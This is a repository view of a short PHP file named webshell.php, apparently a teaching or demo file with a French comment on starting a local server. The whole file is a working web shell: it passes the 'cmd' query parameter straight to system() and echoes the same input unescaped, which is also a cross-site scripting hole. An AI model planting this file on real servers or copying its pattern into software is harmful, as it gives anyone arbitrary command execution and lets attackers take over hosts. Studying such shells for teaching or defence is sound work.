summaryrefslogtreecommitdiff
path: root/webshell.php
blob: dbb759d2c026a3d7585f73a0281985ea568373b0 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<!-- Pour lancer le serveur : php -S localhost 8000 -->
<html>
<head>
<title>Web shell</title>
</head>
<body>
<h1>Web shell</h1>
<p>Votre commande :
<?php if (isset($_GET['cmd'])) echo $_GET['cmd'] ?>
</p>
<form>
<input type="text" name="cmd" autofocus />
</form>
<pre>
<?php if (isset($_GET['cmd'])) system($_GET['cmd']) ?>
</pre>
</body>
</html>